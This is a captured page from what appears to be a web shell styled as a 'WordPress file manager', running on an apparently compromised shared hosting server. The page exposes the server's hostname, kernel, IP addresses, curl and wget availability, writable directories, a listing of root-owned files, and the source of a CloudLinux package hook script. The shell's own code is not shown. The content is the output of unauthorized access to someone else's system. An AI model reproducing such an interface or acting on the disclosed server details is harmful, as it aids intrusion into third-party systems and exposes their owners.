✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.217.120
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /opt/cloudlinux/venv/lib/python3.11/site-packages/clcommon/public_hooks/bin//post_modify_package.py
#!/opt/cloudlinux/venv/bin/python3 -bb
# -*- coding: utf-8 -*-

# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2022 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT
#
"""
Package POST modification hook.
This script must be called AFTER different package-related
changes in control panel. See --help and docs for detailed
description of actions and parameters.
"""
import argparse
import re
import sys

from clcommon.public_hooks.lib import ModifyPackageHook
from clcommon.public_hooks import setup_logger_and_sentry

_VALID_PACKAGE_NAME_RE = re.compile(r'^[a-zA-Z0-9._-]{1,255}$')


def _validate_package_name(value, option_name):
    if value is not None and not _VALID_PACKAGE_NAME_RE.fullmatch(value):
        print(f"Error: invalid value for {option_name}: {value!r}",
              file=sys.stderr)
        sys.exit(1)


if __name__ == '__main__':
    setup_logger_and_sentry()

    parser = argparse.ArgumentParser(description=__doc__)
    subparsers = parser.add_subparsers(dest='command')

    rename = subparsers.add_parser('rename')
    rename.add_argument('--name', required=True,
                        help='Name of the package')
    rename.add_argument('--new-name', required=False,
                        help='Package after rename')

    args = parser.parse_args()
    listener = ModifyPackageHook()
    if args.command == 'rename':
        _validate_package_name(args.name, '--name')
        _validate_package_name(args.new_name, '--new-name')
        listener.post_modify_package(
            args.name,
            new_name=args.new_name,
        )
    else:
        raise NotImplementedError


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
23 Jun 2026 7.00 AM
root / root
0755
__pycache__
--
23 Jun 2026 7.00 AM
root / root
0755
post_modify_admin.py
1.425 KB
3 Jun 2026 1.38 PM
root / root
0755
post_modify_domain.py
6.101 KB
3 Jun 2026 1.38 PM
root / root
0755
post_modify_package.py
1.653 KB
3 Jun 2026 1.38 PM
root / root
0755
post_modify_user.py
3.562 KB
3 Jun 2026 1.38 PM
root / root
0755
pre_modify_user.py
1.236 KB
3 Jun 2026 1.38 PM
root / root
0755

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF